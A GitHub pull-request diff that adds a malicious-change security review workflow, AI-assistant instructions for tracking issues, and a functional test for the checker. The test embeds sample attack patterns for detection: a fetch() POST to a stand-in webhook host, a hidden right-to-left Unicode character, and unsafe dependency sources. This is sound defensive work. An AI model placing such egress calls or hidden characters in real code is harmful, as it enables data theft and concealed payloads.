Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
52 changes: 52 additions & 0 deletions .github/instructions/github_issue_workflow.instructions.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
---
applyTo: '**'
---

# GitHub Issue Workflow

## When Starting Work

At the start of meaningful work, determine whether there is an associated GitHub issue for the task.

- If the user mentions an issue number or URL, treat that as the associated issue and keep it in mind for summaries, PR notes, release notes, and later status updates.
- If no issue is mentioned and the work is more than a tiny clarification or one-off command, ask the admin whether they want to create an issue before or alongside the work.
- If the admin wants an issue created, use the existing `Create GitHub Issue` prompt in `.github/prompts/create-github-issue.prompt.md`.

Check warning on line 13 in .github/instructions/github_issue_workflow.instructions.md

View workflow job for this annotation

GitHub Actions / malicious-pr-security-review

Important - Changed line contains AI, plugin, agent, or workspace boundary marker. Recommendation%3A Check whether prompts, chat history, uploaded documents, embeddings, citations, settings, or identity can cross a new boundary.
- Do not block urgent fixes, small investigations, or explicitly time-sensitive work just because there is no issue yet. Continue the work and ask at the next natural checkpoint.

## Issue Association

When an issue exists or is created for the work:

- Track it as the working associated issue for the current task.
- Reference the issue in relevant summaries, PR descriptions, fix documentation, feature documentation, and release note entries when appropriate.
- Prefer durable references such as `Fixes #123`, `Closes #123`, or `Refs #123` when the change directly resolves, completes, or relates to the issue.
- Do not create duplicate issues. Use the issue creation prompt's duplicate-search workflow before creating a new issue.

Check warning on line 23 in .github/instructions/github_issue_workflow.instructions.md

View workflow job for this annotation

GitHub Actions / malicious-pr-security-review

Important - Changed line contains AI, plugin, agent, or workspace boundary marker. Recommendation%3A Check whether prompts, chat history, uploaded documents, embeddings, citations, settings, or identity can cross a new boundary.

Check warning on line 23 in .github/instructions/github_issue_workflow.instructions.md

View workflow job for this annotation

GitHub Actions / malicious-pr-security-review

Important - Changed line contains secret or sensitive data source marker. Recommendation%3A Pair this source with any nearby network, logging, serialization, or process execution sink before approving.

## When To Suggest Updating Issues

Prompt the admin to update the associated issue at natural checkpoints, not on every interaction.

Check warning on line 27 in .github/instructions/github_issue_workflow.instructions.md

View workflow job for this annotation

GitHub Actions / malicious-pr-security-review

Important - Changed line contains AI, plugin, agent, or workspace boundary marker. Recommendation%3A Check whether prompts, chat history, uploaded documents, embeddings, citations, settings, or identity can cross a new boundary.

Ask whether to update the associated issue when any of these occur:

- The implementation is complete or materially changes direction.
- Important validation results are available.
- Scope, priority, acceptance criteria, or user impact changes.
- A blocker, dependency, risk, or follow-up task is discovered.
- Release notes are being updated or the admin is asked whether to update release notes.

Use concise wording such as:

> Would you like me to update the associated GitHub issue with the summary, validation, and any follow-ups from this work?

If there is no associated issue at one of these checkpoints, ask whether the admin wants to create one using the `Create GitHub Issue` prompt.

Check warning on line 41 in .github/instructions/github_issue_workflow.instructions.md

View workflow job for this annotation

GitHub Actions / malicious-pr-security-review

Important - Changed line contains AI, plugin, agent, or workspace boundary marker. Recommendation%3A Check whether prompts, chat history, uploaded documents, embeddings, citations, settings, or identity can cross a new boundary.

## What To Put In Issue Updates

When the admin approves an issue update, include only useful status information:

- What changed.
- Current validation status and relevant test results.
- Any unresolved risks, blockers, or follow-ups.
- Links or references to related PRs, documentation, or release notes when available.

Do not post noisy progress comments, implementation chatter, or repeated updates that do not change the issue's useful state.
2 changes: 2 additions & 0 deletions .github/instructions/update_release_notes.instructions.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,8 @@

**"Would you like me to update the release notes in `docs/explanation/release_notes.md`?"**

When asking this, also ask whether the associated GitHub issue should be updated. If there is no associated issue, ask whether the admin wants to create one using `.github/prompts/create-github-issue.prompt.md`.

Check warning on line 13 in .github/instructions/update_release_notes.instructions.md

View workflow job for this annotation

GitHub Actions / malicious-pr-security-review

Important - Changed line contains AI, plugin, agent, or workspace boundary marker. Recommendation%3A Check whether prompts, chat history, uploaded documents, embeddings, citations, settings, or identity can cross a new boundary.

## If the User Confirms Yes

Update the release notes file following these guidelines:
Expand Down
282 changes: 282 additions & 0 deletions .github/prompts/malicious-pr-and-file-security-review.prompt.md

Large diffs are not rendered by default.

147 changes: 147 additions & 0 deletions .github/workflows/malicious-pr-security-review.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,147 @@
name: Malicious PR Security Review

on:
pull_request:
branches:
- Development
paths:
- 'application/**'
- 'deployers/**'
- 'docker-customization/**'
- 'scripts/**'
- 'functional_tests/**'
- 'ui_tests/**'
- 'requirements*.txt'
- '**/requirements*.txt'
- '**/package.json'
- '**/package-lock.json'
- '**/npm-shrinkwrap.json'
- '**/pnpm-lock.yaml'
- '**/yarn.lock'
- '**/pyproject.toml'
- '**/poetry.lock'
- '**/Pipfile'
- '**/Pipfile.lock'
- '**/Dockerfile'
- '.github/workflows/**'
- '.github/prompts/**'
- '.github/instructions/**'
- 'docs/**'
workflow_dispatch:
inputs:
base_ref:
description: 'Base ref or SHA for the review range'
required: true
default: 'Development'
head_ref:
description: 'Head ref or SHA for the review range. Defaults to the workflow SHA.'
required: false
default: ''
full_file_scan:
description: 'Scan full changed files instead of only changed lines'
type: boolean
required: false
default: false
verify_release_age:
description: 'Query PyPI/npm metadata for the seven-day dependency gate'
type: boolean
required: false
default: true
fail_on_findings:
description: 'Fail on all findings instead of only blockers'
type: boolean
required: false
default: false
fail_on_unverified_release_age:
description: 'Fail when dependency release age cannot be verified'
type: boolean
required: false
default: false

permissions:
contents: read
pull-requests: read

jobs:
malicious-pr-security-review:
runs-on: ubuntu-latest

steps:
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0

- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: '3.12'

- name: Resolve review range
id: review-range
shell: bash
run: |
if [[ "${{ github.event_name }}" == "pull_request" ]]; then
echo "base_sha=${{ github.event.pull_request.base.sha }}" >> "$GITHUB_OUTPUT"
echo "head_sha=${{ github.sha }}" >> "$GITHUB_OUTPUT"
exit 0
fi

git fetch --all --prune
base_ref="${{ inputs.base_ref }}"
head_ref="${{ inputs.head_ref }}"
if [[ -z "$head_ref" ]]; then
head_ref="${{ github.sha }}"
fi

base_sha="$(git rev-parse "origin/${base_ref}^{commit}" 2>/dev/null || git rev-parse "${base_ref}^{commit}")"
head_sha="$(git rev-parse "${head_ref}^{commit}")"

echo "base_sha=$base_sha" >> "$GITHUB_OUTPUT"
echo "head_sha=$head_sha" >> "$GITHUB_OUTPUT"

- name: Run malicious PR static security review
env:
BASE_SHA: ${{ steps.review-range.outputs.base_sha }}
HEAD_SHA: ${{ steps.review-range.outputs.head_sha }}
run: |
review_args=(
--base-sha "$BASE_SHA"
--head-sha "$HEAD_SHA"
--report-file artifacts/malicious-pr-security-review.md
)

if [[ "${{ github.event_name }}" == "workflow_dispatch" && "${{ inputs.full_file_scan }}" == "true" ]]; then
review_args+=(--full-file)
fi

if [[ "${{ github.event_name }}" != "workflow_dispatch" || "${{ inputs.verify_release_age }}" == "true" ]]; then
review_args+=(--verify-release-age)
fi

if [[ "${{ github.event_name }}" == "workflow_dispatch" && "${{ inputs.fail_on_findings }}" == "true" ]]; then
review_args+=(--fail-on-findings)
fi

if [[ "${{ github.event_name }}" == "workflow_dispatch" && "${{ inputs.fail_on_unverified_release_age }}" == "true" ]]; then
review_args+=(--fail-on-unverified-release-age)
fi

python scripts/check_malicious_pr_security_review.py "${review_args[@]}"

- name: Publish review summary
if: always()
run: |
if [[ -f artifacts/malicious-pr-security-review.md ]]; then
cat artifacts/malicious-pr-security-review.md >> "$GITHUB_STEP_SUMMARY"
else
echo "Malicious PR security review report was not created." >> "$GITHUB_STEP_SUMMARY"
fi

- name: Upload review report
if: always()
uses: actions/upload-artifact@v4
with:
name: malicious-pr-security-review
path: artifacts/malicious-pr-security-review.md
if-no-files-found: warn
2 changes: 1 addition & 1 deletion application/single_app/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -95,7 +95,7 @@
EXECUTOR_TYPE = 'thread'
EXECUTOR_MAX_WORKERS = 30
SESSION_TYPE = 'filesystem'
VERSION = "0.250.005"
VERSION = "0.250.006"

SESSION_COOKIE_SAMESITE = os.getenv('SESSION_COOKIE_SAMESITE', 'Lax')
SESSION_COOKIE_HTTPONLY = os.getenv('SESSION_COOKIE_HTTPONLY', 'true').lower() != 'false'
Expand Down
9 changes: 9 additions & 0 deletions docs/explanation/release_notes.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,15 @@

For feature-focused and fix-focused drill-downs by version, see [Features by Version](/explanation/features/) and [Fixes by Version](/explanation/fixes/).

### **(v0.250.006)**

#### New Features

* **Malicious PR Security Review Workflow**
* Added a static malicious-change review workflow for pull requests into `Development`, with manual dispatch options for custom review ranges and full-file scans.
* Added a reusable security review prompt and focused functional coverage for dependency pinning policy, hidden Unicode detection, suspicious egress markers, and workflow wiring.
* (Ref: malicious PR security review, `.github/workflows/malicious-pr-security-review.yml`, `scripts/check_malicious_pr_security_review.py`)

### **(v0.250.005)**

#### New Features
Expand Down
159 changes: 159 additions & 0 deletions functional_tests/test_malicious_pr_security_review_checker.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,159 @@
#!/usr/bin/env python3
# test_malicious_pr_security_review_checker.py
"""
Functional test for Malicious PR Security Review CI guardrails.
Version: 0.250.006
Implemented in: 0.250.006

This test ensures the malicious PR/file security review checker flags the
highest-risk dependency and hidden-payload patterns, records suspicious egress
markers for human review, and stays wired into the GitHub Actions workflow.
"""

import importlib.util
import sys
from pathlib import Path


ROOT_DIR = Path(__file__).resolve().parents[1]
CHECKER_FILE = ROOT_DIR / 'scripts' / 'check_malicious_pr_security_review.py'
WORKFLOW_FILE = ROOT_DIR / '.github' / 'workflows' / 'malicious-pr-security-review.yml'
PROMPT_FILE = ROOT_DIR / '.github' / 'prompts' / 'malicious-pr-and-file-security-review.prompt.md'
CONFIG_FILE = ROOT_DIR / 'application' / 'single_app' / 'config.py'


def read_text(path: Path) -> str:
"""Read a UTF-8 text file from the repository."""
return path.read_text(encoding='utf-8')


def load_checker_module():
"""Import the checker module from disk without mutating sys.path."""
spec = importlib.util.spec_from_file_location('check_malicious_pr_security_review', CHECKER_FILE)
assert spec is not None and spec.loader is not None, 'Expected a module spec for the checker'
module = importlib.util.module_from_spec(spec)
sys.modules[spec.name] = module
spec.loader.exec_module(module)
return module


def read_config_version() -> str:
"""Extract the current application version from config.py."""
for line in read_text(CONFIG_FILE).splitlines():
if line.strip().startswith('VERSION = '):
return line.split('=', 1)[1].strip().strip('"')
raise AssertionError('VERSION assignment not found in config.py')


def test_dependency_gate_blocks_unpinned_python_requirements_and_collects_exact_pins() -> None:
"""Verify unsafe Python requirement forms are blockers and exact pins are collected."""
module = load_checker_module()
findings = []
releases = []
requirements_source = """
requests==2.32.4
flask>=3.0
--extra-index-url https://packages.example.invalid/simple
git+https://example.invalid/package.git
""".strip()

module.inspect_requirements_file(
ROOT_DIR / 'requirements-test.txt',
requirements_source,
findings,
releases,
)

blocker_messages = [finding.message for finding in findings if finding.verdict == 'Blocker']
assert any('not exactly pinned' in message for message in blocker_messages), blocker_messages
assert any('custom index' in message for message in blocker_messages), blocker_messages
assert any('direct URL' in message for message in blocker_messages), blocker_messages
assert [(release.package_name, release.version) for release in releases] == [('requests', '2.32.4')]


def test_checker_flags_hidden_unicode_and_records_suspicious_egress_markers() -> None:
"""Verify hidden Unicode blocks and external egress markers are reported."""
module = load_checker_module()
findings = []
source = "fetch('https://example.invalid/webhook', { method: 'POST' });\n" + "\u202e"

urls = module.scan_text_patterns(
ROOT_DIR / 'application' / 'single_app' / 'static' / 'js' / 'sample.js',
source,
changed_lines=None,
full_file=True,
findings=findings,
)

assert 'https://example.invalid/webhook' in urls
assert any(finding.verdict == 'Blocker' and 'Hidden Unicode' in finding.message for finding in findings), findings
assert any('external connection' in finding.message for finding in findings), findings


def test_npm_and_docker_dependency_policy_review() -> None:
"""Verify npm floating ranges and Docker latest tags are rejected."""
module = load_checker_module()
findings = []
releases = []

module.inspect_package_json(
ROOT_DIR / 'package.json',
'{"dependencies":{"safe":"1.2.3","floating":"^4.5.6"}}',
findings,
releases,
)
module.inspect_dockerfile(
ROOT_DIR / 'Dockerfile',
'FROM python:latest\n',
findings,
)

blocker_messages = [finding.message for finding in findings if finding.verdict == 'Blocker']
assert any('npm dependency is not pinned' in message for message in blocker_messages), blocker_messages
assert any('Docker base image is floating' in message for message in blocker_messages), blocker_messages
assert [(release.package_name, release.version) for release in releases] == [('safe', '1.2.3')]


def test_checker_workflow_prompt_and_version_are_wired_into_repo() -> None:
"""Verify the checker, workflow, prompt, and version bump landed together."""
assert CHECKER_FILE.exists(), f'Expected checker script at {CHECKER_FILE}'
assert WORKFLOW_FILE.exists(), f'Expected workflow file at {WORKFLOW_FILE}'
assert PROMPT_FILE.exists(), f'Expected prompt file at {PROMPT_FILE}'
assert read_config_version() == '0.250.006'

workflow_source = read_text(WORKFLOW_FILE)
assert 'Malicious PR Security Review' in workflow_source
assert 'pull_request' in workflow_source
assert 'workflow_dispatch' in workflow_source
assert 'scripts/check_malicious_pr_security_review.py' in workflow_source
assert '--verify-release-age' in workflow_source
assert 'actions/upload-artifact@v4' in workflow_source

prompt_source = read_text(PROMPT_FILE)
assert 'Dependency Gate' in prompt_source
assert 'High-Risk Search Patterns' in prompt_source
assert 'Do not run untrusted code' in prompt_source


if __name__ == '__main__':
tests = [
test_dependency_gate_blocks_unpinned_python_requirements_and_collects_exact_pins,
test_checker_flags_hidden_unicode_and_records_suspicious_egress_markers,
test_npm_and_docker_dependency_policy_review,
test_checker_workflow_prompt_and_version_are_wired_into_repo,
]
results = []

for test in tests:
print(f'Running {test.__name__}...')
try:
test()
print('PASS')
results.append(True)
except Exception as exc:
print(f'FAIL: {exc}')
results.append(False)

success = all(results)
print(f'Results: {sum(results)}/{len(results)} tests passed')
sys.exit(0 if success else 1)
Loading
Loading